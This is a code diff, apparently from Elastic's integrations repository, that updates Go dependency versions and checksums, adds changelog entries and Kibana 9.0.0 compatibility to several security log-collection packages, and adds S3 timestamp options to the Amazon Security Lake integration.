- github.com/ProtonMail/gopenpgp/v2 v2.8.2 // indirect
+ github.com/ProtonMail/gopenpgp/v2 v2.8.3 // indirect
github.com/andybalholm/brotli v1.1.0 // indirect
github.com/armon/go-radix v1.0.0 // indirect
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
@@ -96,7 +96,7 @@ require (
github.com/golang/snappy v0.0.4 // indirect
github.com/google/btree v1.1.3 // indirect
github.com/google/gnostic-models v0.6.8 // indirect
- github.com/google/go-cmp v0.6.0 // indirect
+ github.com/google/go-cmp v0.7.0 // indirect
github.com/google/go-github/v32 v32.1.0 // indirect
github.com/google/go-querystring v1.1.0 // indirect
github.com/google/gofuzz v1.2.0 // indirect
@@ -163,8 +163,8 @@ require (
github.com/shopspring/decimal v1.4.0 // indirect
github.com/spf13/afero v1.11.0 // indirect
github.com/spf13/cast v1.7.0 // indirect
- github.com/spf13/cobra v1.8.1 // indirect
- github.com/spf13/pflag v1.0.5 // indirect
+ github.com/spf13/cobra v1.9.1 // indirect
+ github.com/spf13/pflag v1.0.6 // indirect
github.com/stretchr/objx v0.5.2 // indirect
github.com/tklauser/go-sysconf v0.3.14 // indirect
github.com/tklauser/numcpus v0.8.0 // indirect
@@ -213,17 +213,17 @@ require (
gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
- helm.sh/helm/v3 v3.17.0 // indirect
+ helm.sh/helm/v3 v3.17.1 // indirect
howett.net/plist v1.0.0 // indirect
- k8s.io/api v0.32.1 // indirect
- k8s.io/apiextensions-apiserver v0.32.0 // indirect
- k8s.io/apimachinery v0.32.1 // indirect
- k8s.io/cli-runtime v0.32.1 // indirect
- k8s.io/client-go v0.32.1 // indirect
- k8s.io/component-base v0.32.0 // indirect
+ k8s.io/api v0.32.2 // indirect
+ k8s.io/apiextensions-apiserver v0.32.1 // indirect
+ k8s.io/apimachinery v0.32.2 // indirect
+ k8s.io/cli-runtime v0.32.2 // indirect
+ k8s.io/client-go v0.32.2 // indirect
+ k8s.io/component-base v0.32.1 // indirect
k8s.io/klog/v2 v2.130.1 // indirect
k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f // indirect
- k8s.io/kubectl v0.32.0 // indirect
+ k8s.io/kubectl v0.32.1 // indirect
k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 // indirect
sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 // indirect
sigs.k8s.io/kustomize/api v0.18.0 // indirect
diff --git a/go.sum b/go.sum
index 02837f20f1e..92e2e449172 100644
--- a/go.sum
+++ b/go.sum
@@ -58,12 +58,12 @@ github.com/PaesslerAG/jsonpath v0.1.1 h1:c1/AToHQMVsduPAa4Vh6xp2U0evy4t8SWp8imEs
github.com/PaesslerAG/jsonpath v0.1.1/go.mod h1:lVboNxFGal/VwW6d9JzIy56bUsYAP6tH/x80vjnCseY=
github.com/Pallinder/go-randomdata v1.2.0 h1:DZ41wBchNRb/0GfsePLiSwb0PHZmT67XY00lCDlaYPg=
github.com/Pallinder/go-randomdata v1.2.0/go.mod h1:yHmJgulpD2Nfrm0cR9tI/+oAgRqCQQixsA8HyRZfV9Y=
-github.com/ProtonMail/go-crypto v1.1.4 h1:G5U5asvD5N/6/36oIw3k2bOfBn5XVcZrb7PBjzzKKoE=
-github.com/ProtonMail/go-crypto v1.1.4/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE=
+github.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw=
+github.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE=
github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f h1:tCbYj7/299ekTTXpdwKYF8eBlsYsDVoggDAuAjoK66k=
github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f/go.mod h1:gcr0kNtGBqin9zDW9GOHcVntrwnjrK+qdJ06mWYBybw=
-github.com/ProtonMail/gopenpgp/v2 v2.8.2 h1:fe/XagfxkHRCr+cLFMcoF7XwaASRGSmK/fmcmK8yo6o=
-github.com/ProtonMail/gopenpgp/v2 v2.8.2/go.mod h1:pPWZyRQWpQ7g8NWsdZmUynNZ1R09k4MdbSHvm+KooqM=
+github.com/ProtonMail/gopenpgp/v2 v2.8.3 h1:1jHlELwCR00qovx2B50DkL/FjYwt/P91RnlsqeOp2Hs=
+github.com/ProtonMail/gopenpgp/v2 v2.8.3/go.mod h1:LiuOTbnJit8w9ZzOoLscj0kmdALY7hfoCVh5Qlb0bcg=
github.com/andybalholm/brotli v1.0.1/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y=
github.com/andybalholm/brotli v1.1.0 h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M=
github.com/andybalholm/brotli v1.1.0/go.mod h1:sms7XGricyQI9K10gOSf56VKKWS4oLer58Q+mhRPtnY=
@@ -108,7 +108,7 @@ github.com/cloudflare/circl v1.4.0/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZ
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/xds/go v0.0.0-20241223141626-cff3c89139a3 h1:boJj011Hh+874zpIySeApCX4GeOjPl9qhRF3QuIZq+Q=
github.com/cncf/xds/go v0.0.0-20241223141626-cff3c89139a3/go.mod h1:W+zGtBO5Y1IgJhy4+A9GOqVhqLpfZi+vwmdNXUehLA8=
-github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
+github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creack/pty v1.1.23 h1:4M6+isWdcStXEf15G/RbrMPOQj1dZ7HPZCGwE4kOeP0=
github.com/creack/pty v1.1.23/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
@@ -125,8 +125,8 @@ github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkp
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/elastic/elastic-integration-corpus-generator-tool v0.10.0 h1:sx1lpZuTG5suJuvgix4FWQFCLFFbzkoOmPoHWYOPLCY=
github.com/elastic/elastic-integration-corpus-generator-tool v0.10.0/go.mod h1:2/30n+2QRzRzus4TPVUV1T3U/j8g2ItUgvP0pcpjLGk=
-github.com/elastic/elastic-package v0.109.1 h1:ATZVgYOCI6L5Yr0NxjSX+MsuK4UvXkpu9tDkO4K2vgo=
-github.com/elastic/elastic-package v0.109.1/go.mod h1:vmVYISfxBrl0ejjKbm/AG0drjrmevysVg2ZIP7yewLo=
+github.com/elastic/elastic-package v0.110.1 h1:FgzH+Zi2FiDFFSNppr+XfQYLAZQq6+ie/nzY65s1f2w=
+github.com/elastic/elastic-package v0.110.1/go.mod h1:MhEPBf3q0KAue3QVXYxxfzTURJf4YkY8okQJFKKSjHk=
github.com/elastic/go-elasticsearch/v7 v7.17.10 h1:TCQ8i4PmIJuBunvBS6bwT2ybzVFxxUhhltAs3Gyu1yo=
github.com/elastic/go-elasticsearch/v7 v7.17.10/go.mod h1:OJ4wdbtDNk5g503kvlHLyErCgQwwzmDtaFC4XyOxXA4=
github.com/elastic/go-licenser v0.4.2 h1:bPbGm8bUd8rxzSswFOqvQh1dAkKGkgAmrPxbUi+Y9+A=
@@ -235,8 +235,9 @@ github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
-github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/go-github/v32 v32.1.0 h1:GWkQOdXqviCPx7Q7Fj+KyPoGm4SwHRh8rheoPhd27II=
github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
@@ -447,10 +448,10 @@ github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8=
github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY=
github.com/spf13/cast v1.7.0 h1:ntdiHjuueXFgm5nzDRdOS4yfT43P5Fnud6DH50rz/7w=
github.com/spf13/cast v1.7.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
-github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
-github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
-github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
-github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
+github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
+github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
+github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
@@ -681,30 +682,30 @@ gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-helm.sh/helm/v3 v3.17.0 h1:DUD4AGdNVn7PSTYfxe1gmQG7s18QeWv/4jI9TubnhT0=
-helm.sh/helm/v3 v3.17.0/go.mod h1:Mo7eGyKPPHlS0Ml67W8z/lbkox/gD9Xt1XpD6bxvZZA=
+helm.sh/helm/v3 v3.17.1 h1:gzVoAD+qVuoJU6KDMSAeo0xRJ6N1znRxz3wyuXRmJDk=
+helm.sh/helm/v3 v3.17.1/go.mod h1:nvreuhuR+j78NkQcLC3TYoprCKStLyw5P4T7E5itv2w=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
-k8s.io/api v0.32.1 h1:f562zw9cy+GvXzXf0CKlVQ7yHJVYzLfL6JAS4kOAaOc=
-k8s.io/api v0.32.1/go.mod h1:/Yi/BqkuueW1BgpoePYBRdDYfjPF5sgTr5+YqDZra5k=
-k8s.io/apiextensions-apiserver v0.32.0 h1:S0Xlqt51qzzqjKPxfgX1xh4HBZE+p8KKBq+k2SWNOE0=
-k8s.io/apiextensions-apiserver v0.32.0/go.mod h1:86hblMvN5yxMvZrZFX2OhIHAuFIMJIZ19bTvzkP+Fmw=
-k8s.io/apimachinery v0.32.1 h1:683ENpaCBjma4CYqsmZyhEzrGz6cjn1MY/X2jB2hkZs=
-k8s.io/apimachinery v0.32.1/go.mod h1:GpHVgxoKlTxClKcteaeuF1Ul/lDVb74KpZcxcmLDElE=
-k8s.io/cli-runtime v0.32.1 h1:19nwZPlYGJPUDbhAxDIS2/oydCikvKMHsxroKNGA2mM=
-k8s.io/cli-runtime v0.32.1/go.mod h1:NJPbeadVFnV2E7B7vF+FvU09mpwYlZCu8PqjzfuOnkY=
-k8s.io/client-go v0.32.1 h1:otM0AxdhdBIaQh7l1Q0jQpmo7WOFIk5FFa4bg6YMdUU=
-k8s.io/client-go v0.32.1/go.mod h1:aTTKZY7MdxUaJ/KiUs8D+GssR9zJZi77ZqtzcGXIiDg=
-k8s.io/component-base v0.32.0 h1:d6cWHZkCiiep41ObYQS6IcgzOUQUNpywm39KVYaUqzU=
-k8s.io/component-base v0.32.0/go.mod h1:JLG2W5TUxUu5uDyKiH2R/7NnxJo1HlPoRIIbVLkK5eM=
+k8s.io/api v0.32.2 h1:bZrMLEkgizC24G9eViHGOPbW+aRo9duEISRIJKfdJuw=
+k8s.io/api v0.32.2/go.mod h1:hKlhk4x1sJyYnHENsrdCWw31FEmCijNGPJO5WzHiJ6Y=
+k8s.io/apiextensions-apiserver v0.32.1 h1:hjkALhRUeCariC8DiVmb5jj0VjIc1N0DREP32+6UXZw=
+k8s.io/apiextensions-apiserver v0.32.1/go.mod h1:sxWIGuGiYov7Io1fAS2X06NjMIk5CbRHc2StSmbaQto=
+k8s.io/apimachinery v0.32.2 h1:yoQBR9ZGkA6Rgmhbp/yuT9/g+4lxtsGYwW6dR6BDPLQ=
+k8s.io/apimachinery v0.32.2/go.mod h1:GpHVgxoKlTxClKcteaeuF1Ul/lDVb74KpZcxcmLDElE=
+k8s.io/cli-runtime v0.32.2 h1:aKQR4foh9qeyckKRkNXUccP9moxzffyndZAvr+IXMks=
+k8s.io/cli-runtime v0.32.2/go.mod h1:a/JpeMztz3xDa7GCyyShcwe55p8pbcCVQxvqZnIwXN8=
+k8s.io/client-go v0.32.2 h1:4dYCD4Nz+9RApM2b/3BtVvBHw54QjMFUl1OLcJG5yOA=
+k8s.io/client-go v0.32.2/go.mod h1:fpZ4oJXclZ3r2nDOv+Ux3XcJutfrwjKTCHz2H3sww94=
+k8s.io/component-base v0.32.1 h1:/5IfJ0dHIKBWysGV0yKTFfacZ5yNV1sulPh3ilJjRZk=
+k8s.io/component-base v0.32.1/go.mod h1:j1iMMHi/sqAHeG5z+O9BFNCF698a1u0186zkjMZQ28w=
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f h1:GA7//TjRY9yWGy1poLzYYJJ4JRdzg3+O6e8I+e+8T5Y=
k8s.io/kube-openapi v0.0.0-20241105132330-32ad38e42d3f/go.mod h1:R/HEjbvWI0qdfb8viZUeVZm0X6IZnxAydC7YU42CMw4=
-k8s.io/kubectl v0.32.0 h1:rpxl+ng9qeG79YA4Em9tLSfX0G8W0vfaiPVrc/WR7Xw=
-k8s.io/kubectl v0.32.0/go.mod h1:qIjSX+QgPQUgdy8ps6eKsYNF+YmFOAO3WygfucIqFiE=
+k8s.io/kubectl v0.32.1 h1:/btLtXLQUU1rWx8AEvX9jrb9LaI6yeezt3sFALhB8M8=
+k8s.io/kubectl v0.32.1/go.mod h1:sezNuyWi1STk4ZNPVRIFfgjqMI6XMf+oCVLjZen/pFQ=
k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738 h1:M3sRQVHv7vB20Xc2ybTt7ODCeFj6JSWYFzOFnYeS6Ro=
k8s.io/utils v0.0.0-20241104100929-3ea5e8cea738/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0=
sigs.k8s.io/json v0.0.0-20241010143419-9aa6b5e7a4b3 h1:/Rv+M11QRah1itp8VhT6HoVx1Ray9eB4DBr+K+/sCJ8=
diff --git a/packages/1password/changelog.yml b/packages/1password/changelog.yml
index 69c975bf11c..e6019f52383 100644
--- a/packages/1password/changelog.yml
+++ b/packages/1password/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.32.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.31.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/1password/manifest.yml b/packages/1password/manifest.yml
index 58459890ca2..07836055c73 100644
--- a/packages/1password/manifest.yml
+++ b/packages/1password/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: 1password
title: "1Password"
-version: "1.31.1"
+version: "1.32.0"
description: Collect logs from 1Password with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- credential_management
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/1password-signinattempts-screenshot.png
title: Sign-in attempts
diff --git a/packages/abnormal_security/changelog.yml b/packages/abnormal_security/changelog.yml
index 48f47424287..f6249fe8c48 100644
--- a/packages/abnormal_security/changelog.yml
+++ b/packages/abnormal_security/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.3.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/abnormal_security/manifest.yml b/packages/abnormal_security/manifest.yml
index df66d5acd50..2bc73e2ca2d 100644
--- a/packages/abnormal_security/manifest.yml
+++ b/packages/abnormal_security/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.2.1
name: abnormal_security
title: Abnormal Security
-version: 1.3.1
+version: "1.4.0"
description: Collect logs from Abnormal Security with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.13.0
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/admin_by_request_epm/changelog.yml b/packages/admin_by_request_epm/changelog.yml
index 63d14c46613..bf03f280f5d 100644
--- a/packages/admin_by_request_epm/changelog.yml
+++ b/packages/admin_by_request_epm/changelog.yml
@@ -1,3 +1,8 @@
+- version: "0.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.1.0"
changes:
- description: Initial release.
diff --git a/packages/admin_by_request_epm/manifest.yml b/packages/admin_by_request_epm/manifest.yml
index 02877d4114f..638a974921e 100644
--- a/packages/admin_by_request_epm/manifest.yml
+++ b/packages/admin_by_request_epm/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.0
name: admin_by_request_epm
title: Admin By Request EPM
-version: 0.1.0
+version: "0.2.0"
source:
license: "Elastic-2.0"
description: "Collect logs from Admin By Request EPM with Elastic Agent."
@@ -10,7 +10,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.15.3"
+ version: "^8.15.3 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/akamai/changelog.yml b/packages/akamai/changelog.yml
index 7172e708f17..bd9ff52d055 100644
--- a/packages/akamai/changelog.yml
+++ b/packages/akamai/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.28.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.27.3"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/akamai/manifest.yml b/packages/akamai/manifest.yml
index e7996753001..53a0398166f 100644
--- a/packages/akamai/manifest.yml
+++ b/packages/akamai/manifest.yml
@@ -1,13 +1,13 @@
name: akamai
title: Akamai
-version: "2.27.3"
+version: "2.28.0"
description: Collect logs from Akamai with Elastic Agent.
type: integration
format_version: "3.0.2"
categories: [security, cdn_security]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/akamai_logo.svg
title: Akamai
diff --git a/packages/amazon_security_lake/changelog.yml b/packages/amazon_security_lake/changelog.yml
index 6087e0693f5..467d38d1bf1 100644
--- a/packages/amazon_security_lake/changelog.yml
+++ b/packages/amazon_security_lake/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.5.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs
index 2f3400105f0..51e5afac1e9 100644
--- a/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs
+++ b/packages/amazon_security_lake/data_stream/event/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/amazon_security_lake/data_stream/event/manifest.yml b/packages/amazon_security_lake/data_stream/event/manifest.yml
index a2044f5a25b..133058a79aa 100644
--- a/packages/amazon_security_lake/data_stream/event/manifest.yml
+++ b/packages/amazon_security_lake/data_stream/event/manifest.yml
@@ -92,6 +92,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: queue_url
type: text
title: "[SQS] Queue URL"
diff --git a/packages/amazon_security_lake/manifest.yml b/packages/amazon_security_lake/manifest.yml
index a358632df07..3da7571b924 100644
--- a/packages/amazon_security_lake/manifest.yml
+++ b/packages/amazon_security_lake/manifest.yml
@@ -1,13 +1,13 @@
format_version: "3.0.3"
name: amazon_security_lake
title: Amazon Security Lake
-version: "2.3.1"
+version: "2.5.0"
description: Collect logs from Amazon Security Lake with Elastic Agent.
type: integration
categories: ["aws", "security"]
conditions:
kibana:
- version: "^8.16.2"
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/atlassian_bitbucket/changelog.yml b/packages/atlassian_bitbucket/changelog.yml
index fc07b6dba02..85f335eb309 100644
--- a/packages/atlassian_bitbucket/changelog.yml
+++ b/packages/atlassian_bitbucket/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/atlassian_bitbucket/manifest.yml b/packages/atlassian_bitbucket/manifest.yml
index 3ba420e33e9..2beac4d7e35 100644
--- a/packages/atlassian_bitbucket/manifest.yml
+++ b/packages/atlassian_bitbucket/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: atlassian_bitbucket
title: Atlassian Bitbucket
-version: "2.3.1"
+version: "2.4.0"
description: Collect logs from Atlassian Bitbucket with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/bitbucket-logo.svg
title: Bitbucket Logo
diff --git a/packages/atlassian_confluence/changelog.yml b/packages/atlassian_confluence/changelog.yml
index 8055214f93a..ba8f2ffb84c 100644
--- a/packages/atlassian_confluence/changelog.yml
+++ b/packages/atlassian_confluence/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.28.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.27.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/atlassian_confluence/manifest.yml b/packages/atlassian_confluence/manifest.yml
index bff7f7064b3..918189d2621 100644
--- a/packages/atlassian_confluence/manifest.yml
+++ b/packages/atlassian_confluence/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: atlassian_confluence
title: Atlassian Confluence
-version: "1.27.1"
+version: "1.28.0"
description: Collect logs from Atlassian Confluence with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/confluence-logo.svg
title: Confluence Logo
diff --git a/packages/atlassian_jira/changelog.yml b/packages/atlassian_jira/changelog.yml
index 3a233a1f26d..e99a7cbe3b4 100644
--- a/packages/atlassian_jira/changelog.yml
+++ b/packages/atlassian_jira/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.29.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.28.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/atlassian_jira/manifest.yml b/packages/atlassian_jira/manifest.yml
index 468f77e2e48..58d858f423b 100644
--- a/packages/atlassian_jira/manifest.yml
+++ b/packages/atlassian_jira/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: atlassian_jira
title: Atlassian Jira
-version: "1.28.1"
+version: "1.29.0"
description: Collect logs from Atlassian Jira with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/jira-software-logo.svg
title: Jira Software Logo
diff --git a/packages/auditd_manager/changelog.yml b/packages/auditd_manager/changelog.yml
index 32d7c1072e8..8f98853992c 100644
--- a/packages/auditd_manager/changelog.yml
+++ b/packages/auditd_manager/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.18.3"
+ changes:
+ - description: "Updated field definitions for `auditd.data.*` fields"
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12541
- version: "1.18.2"
changes:
- description: "Added Session data option"
diff --git a/packages/auditd_manager/data_stream/auditd/fields/fields.yml b/packages/auditd_manager/data_stream/auditd/fields/fields.yml
index ecfd2d66fbf..128a60aaf6c 100644
--- a/packages/auditd_manager/data_stream/auditd/fields/fields.yml
+++ b/packages/auditd_manager/data_stream/auditd/fields/fields.yml
@@ -623,9 +623,6 @@
- name: auditd.data.perm_mask
description: file permission mask that triggered a watch event
type: keyword
-- name: auditd.data.a0-N
